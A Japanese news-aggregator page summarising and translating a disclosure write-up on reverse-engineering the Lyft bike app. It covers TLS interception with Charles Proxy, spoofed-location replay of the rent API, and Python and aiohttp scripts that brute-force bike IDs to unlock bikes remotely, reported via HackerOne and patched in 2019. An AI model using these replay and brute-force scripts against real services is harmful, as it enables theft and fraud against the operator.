**Lyftバイクを逆解析して楽しむ(お金になる?)**

2026/01/23 1:45

**Lyftバイクを逆解析して楽しむ(お金になる?)**

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

記事では、ハッカーがアプリの「レンタル」APIリクエストを再送信することでLyftバイクを遠隔でロック解除できる方法を示しています。
iPhoneにCharles ProxyのルートCAをインストールしてトラフィックを捕捉し、レンタルエンドポイントを特定しました:

POST https://layer.bicyclesharing.net/mobile/v2/fgb/rent
。このリクエストにはヘッダー
api-key
authorization
が必要で、ボディにはユーザーの緯度/経度(
userLocation
)と、
memberId
および5桁のバイクIDを含むネストされた
qrCode
オブジェクトが入っています。
この情報をもとに著者はPythonスクリプトを作成し、10 000〜20 000 の範囲内のすべての 10,000 個のバイクIDを順番に試しながらレンタルリクエストを送信しました。単純な逐次ループでは約3時間かかりますが、非同期
aiohttp
バージョンでは15秒程度(約650 RPS)でスキャン完了します。
Lyftは2019年にこの脆弱性を通知され、クライアント側の操作をブロックする予約機能を追加してパッチを適用したため、攻撃は無効化されました。著者はHackerOne経由でLyftから$500の報奨金を受け取りました。
この脆弱性は、おそらくFord GoBikes の元々のコードベースにおいて同時実行レンタルリクエストを正しく処理できないレースコンディションが原因と考えられます。このケースは、クライアント提供のGPSデータに頼るのではなく、より堅牢なサーバー側検証(例:厳格なジオフェンシングや追加チェック)が必要であることを示しています。

本文

イントロダクション

サンフランシスコ・ハイト=アッシュベリーでの寒い夏の朝、マーケットへ向かう通勤途中に「またしても最後のリフト自転車を奪われた」という光景に遭遇しました。

「15 分早く起きればいいんだろう」と瞬間的に思ったものの、
その翌月はリフトのプライベート API を逆解析し、SSL 暗号化を突破し、市内で離れた自転車を追跡し、内部インシデントを引き起こして、かつては利益まで上げることに費やしました。

この経験から多くを学んだので、もしあなたも興味があるなら共有したいと思います。


技術的要約(スプライヤー!)

目的:リフト自転車を遠隔でロック解除する
手順

  1. iOS アプリの通信をキャプチャ
  2. 暗号化されたトラフィックからリクエストを再構築
  3. 変更したリクエストを再送信
  4. 自転車 ID をブルートフォース(遠隔で取得不可)

1. iOS アプリの暗号化通信をキャプチャ

Charles Proxy を使って、iPhone 上のリフトアプリから発信するリクエストを捕捉しました。

  • Charles は SSL プロキシングに対応しており、SSL ハンドシェイク時に自ら生成した 一時的な証明書 を注入します。
  • これによりすべての通信が自身の鍵で署名されるため、デコード・閲覧・再暗号化が可能です。
  • ただし、生成された証明書は Charles Certificate Authority によって署名されているので、携帯電話にこの CA をインストールしていないと受理されません。

これでトラフィックを途中で解読・再暗号化できます。

2. 修正したロック解除リクエストを再送

Charles から確認できたのは、ロック解除リクエストが以下のような

rent
エンドポイントを使っていることです。

POST https://layer.bicyclesharing.net/mobile/v2/fgb/rent
Headers:
{
  "api-key": "sk-XXXXX",
  "authorization": "bearer-XXXXX"
}
Body (JSON):
{
  "userLocation": { "lat": 37.7714859, "lon": -122.4449036 },
  "qrCode":   { "memberId": "user-XXXXX", "qrCode": "12345" }
}

Python で簡単に再送するスクリプトは次のようになります。

import requests

url = "https://layer.bicyclesharing.net/mobile/v2/fgb/rent"

headers = {
    "api-key": "sk-XXXXX",
    "authorization": "bearer-XXXXX",
}

station_coords = { "lat": 37.7730627, "lon": -122.4390777 }   # 地図から取得
bike_id       = "12345"                                      # ダミー ID

data = {
    "userLocation": station_coords,
    "qrCode": { "memberId": "user-XXXXX", "qrCode": bike_id },
}

requests.post(url, headers=headers, json=data)

3. 自転車 ID をブルートフォース

自転車の ID は実際に自転車上に印字されており、eBikes にはありません。遠隔でロック解除するためには、この ID を試行錯誤で当てる必要があります。

  • ID は 5 桁ですが、実際は 10000–20000 の範囲のみが使用されています → 約 10,000 通り
  • 単純な実装だと約 3 時間かかります:
def payload(i):
    return {
        "userLocation": station_coords,
        "qrCode": { "memberId": "mem123", "qrCode": i },
    }

def send_one(i):
    requests.post(url, headers=headers, json=payload(i))

for i in range(10_000, 20_000):
    send_one(i)
  • asyncio
    aiohttp
    を使えば約 15 秒 に短縮可能です:
import asyncio, aiohttp

async def send_one(session, i):
    async with session.post(url, headers=headers, json=payload(i)):
        pass

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [send_one(s, i) for i in range(10_000, 20_000)]
        await asyncio.gather(*tasks)

asyncio.run(main())

注意事項

本稿は教育目的のみです。議論されている脆弱性は 2019 年にリフトへ報告され、すぐに修正されました。その後直ちにリフトは公式機能として自転車予約を導入し、本手法は実用的ではなくなりました。


目次(抜粋)

  1. アクイジション
  2. iOS アプリのリクエストを傍受
  3. SSL / Root CA のスプーフィング
  4. リフトリクエストの構造
  5. 実際に DoS 攻撃ではない理由
  6. テスト実行例
  7. HackerOne での責任ある開示
  8. 終わりに

1. アクイジション

2019 年、リフトバイク(BayWheels)は Ford GoBikes と呼ばれ、駅ごとに一時コードでロック解除されていました。ブランド変更後は QR コードをスキャンするか、5 桁の ID を入力して直接ロック解除できるようになりました。

ジオフェンスが遠隔からのロック解除を防いでいたため、その制限を突破したかったのです。


2. iOS アプリのリクエストを傍受

  • 携帯電話の Wi‑Fi HTTP プロキシを
    192.168.0.7:8888
    (自分のラップトップ IP と Charles のポート)に設定
  • Charles で SSL プロキシングを有効化し、携帯に Charles CA をインストール
  • トラフィックをキャプチャし、注入された証明書で復号

3. SSL / Root CA のスプーフィング

Charles はリフトの実際の SSL 証明書を自ら生成したもの(Charles root CA によって署名)に置き換えます。携帯電話がこの CA を信頼しているため、暗号化された通信を読むことが可能です。


4. リフトリクエストの構造

ロック解除リクエスト (

/mobile/v2/fgb/rent
) は次の要素から成ります:

  • api-key
    authorization
    ヘッダー
  • userLocation
    (緯度/経度)
  • qrCode
    オブジェクトに
    memberId
    qrCode
    (自転車 ID)

目的地駅近くの座標でリクエストを再送すればロック解除できます。


5. 実際に DoS 攻撃ではない理由

10,000 通りの ID を試行することで、最大 650 RPS の突発的負荷がかかります。リフトは日平均約9,000 回の利用を抱えており、この突発的負荷はピークトラフィックを上回るものの、多くのサーバーで耐えられるレベルです。また、事前にリフトと連絡して疑念が生じないよう配慮しました。


6. テスト実行例

ブルートフォーススクリプトを走らせた結果、時折 2 台の自転車が同時にロック解除 されるという予期せぬ競合状態が確認できました。ロック後は足元で再ロックし、仕事へ向かうことが可能でした。


7. HackerOne & 責任ある開示

HackerOne を通じて脆弱性を報告しました。通常、ブルートフォースに関する報告は除外対象ですが、リフトはこの報告を有効な脆弱性(複数台ロック解除)として受け入れ、$500 の報奨金+$250 ボーナスを授与しました。


8. 終わりに

物理的な自転車システムでもデジタルインターフェースが依存しているため、逆解析は非常に強力です。GPS によるジオフェンスの信頼性はリスクが高く、サーバー側でより堅牢な検証を行うべきです。

責任ある開示を通じて報奨金を得られることもありますし、法的措置を取られないケースも多いです。

ハッキングを楽しんでください!

同じ日のほかのニュース

一覧に戻る →

2026/01/23 0:20

**GPTZero、NeurIPS 2025受理論文で新たに100件の幻覚現象を発見**

2026/01/18 8:29

**Scheme を WebAssembly にコンパイル**

## Japanese Translation: --- ## Summary Pythonで実装されたオープンソースScheme実装「Bob」は、15周年を記念してネイティブWASMバイナリを生成するWebAssembly(WASM)コンパイラを追加しました。新しい `WasmCompiler` は解析済みのScheme式を直接WASMテキストに変換し、その後 wasm‑tools スイートでコンパイルされ、Node.js経由で実行されます。 コンパイラの核心は、Schemeプリミティブを実装する約1,000行のWASMコードから成ります: - **オブジェクト表現** – SchemeオブジェクトはWASM GC型にマッピングされます: - `$PAIR` 構造体は `car` と `cdr` を `(ref null eq)` 参照として保持します。 - `$BOOL` 構造体は単一の `i32`(0 = false、非ゼロ = true)を保持します。 - `$SYMBOL` 構造体は線形メモリ内でオフセットと長さを表す2つの `i32` を保存します。 - **数値** – 整数値は `i31` 型を使用してボックス化されていない整数を直接参照します。 - **シンボル** – シンボルは線形メモリに固定オフセット(例: `(data (i32.const 2048) "foo")`)で発行され、アドレス/長さペアで参照されます。 - **組み込み関数** – `write` 関数はWASMテキスト内で直接実装され、ホスト関数として `write_char` と `write_i32` の2つだけをインポートします。 Bobはすでにインタープリタ、コンパイラ、VM、およびカスタムマーク・アンド・スウィープGCを備えたC++ VMを提供しています。追加されたコンパイラは今後さらに進化する予定ですが、現在のwasmtime用Pythonバインディングは2023年10月に仕様に組み込まれたWASM GC提案をまだサポートしていないため、SchemeをWebAssembly上で完全にガベージコレクション実行することが制限されています。 それでもユーザーは今やSchemeを直接WebAssemblyとして実行できるようになり、クロスプラットフォームのデプロイメントとJavaScript/Node.js環境とのより緊密な統合の可能性が開かれます。

2026/01/23 2:41

**CSS の光学的錯覚**

## Japanese Translation: (すべての主要なポイントを統合したもの) > 記事は、マウスホバーに応じて反応するインタラクティブな CSS ベースの錯視デモの CodePen ギャラリーを提示しています。 > 各デモは、Poggendorff の歪んだ線(傾いた 2 つのグラデーションと `::before`/`::after` を使用)、誘導グラデーション効果、Cornsweet & White の色コントラストトリック(黒白格子に `mix-blend-mode` を適用)、リングおよびチェッカーボードパターン、重なり合う線の色球体、曲率盲点、Café Wall イルлю(3 本のグラデーションで平行線を斜めにする)、ペノース三角形やエビングハウス円、カニッツァ四角形など、古典的な視覚現象を示しています。 > ギャラリーには、エビングハウス錯視のアニメーション版、回転する「タワー」、色のファン、逆スピーク、モーションバインディング、メンツラインズ、ウォッリングカラーなども含まれ、ドット線の動きやコントラスト非同期、息を吸う四角形、トロックラー消失といった静的に動きを示唆するパターンも掲載されています。 > すべての効果は CSS グラデーション、疑似要素、`mix-blend-mode`、およびキーフレームアニメーションで実現され、微妙な背景やホバー変更がどれほど印象的な視覚トリックを生み出せるかを示しています。 > コレクションは Patrick Pester の「35 optical…」リストと Michael Bach の「154 Visual Phenomena & Optical Illusions」に触発されています。 > Medium と DEV に公開されており、著者は将来の追加や改良の可能性について読者にコメントを残すよう呼びかけています。 *この改訂された要約は、すべての主要なポイントを完全に反映し、推測を加えず、明確で簡潔に保っています。*